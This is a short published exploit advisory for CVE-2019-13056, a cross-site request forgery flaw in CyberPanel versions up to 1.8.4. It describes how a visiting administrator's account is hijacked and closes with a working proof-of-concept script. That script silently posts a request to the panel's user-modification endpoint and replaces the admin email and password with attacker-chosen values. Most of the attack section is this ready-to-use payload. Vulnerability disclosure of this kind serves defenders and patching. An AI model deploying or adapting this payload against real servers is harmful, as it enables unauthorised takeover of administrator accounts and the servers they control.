# Title: CyberPanel Administrator Account Takeover <= v1.8.4 # Date: 30.06.2019 # Author: Bilgi Birikim Sistemleri # Vendor Homepage: https://cyberpanel.net/ # Version: Up to v1.8.4. # CVE: CVE-2019-13056 # mturkyilmaz@bilgibirikim.com & bilgibirikim.com # Description: # Attacker can edit administrator's credentials like email, password. # Then, access the administration panel and takeover the server. # A CSRF vulnerability. # How to Reproduce: # Attacker will create a website, # CyberPanel administrator will visit that website, # Administrator's e-mail and password will be changed automatically. # PoC: <script> fetch('https://SERVERIP:8090/users/saveModifications', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"accountUsername":"admin","firstName":"CSRF","lastName":"Vulnerable","email":"attackersemail@example.org","password":"attackerspassword"}'}); </script>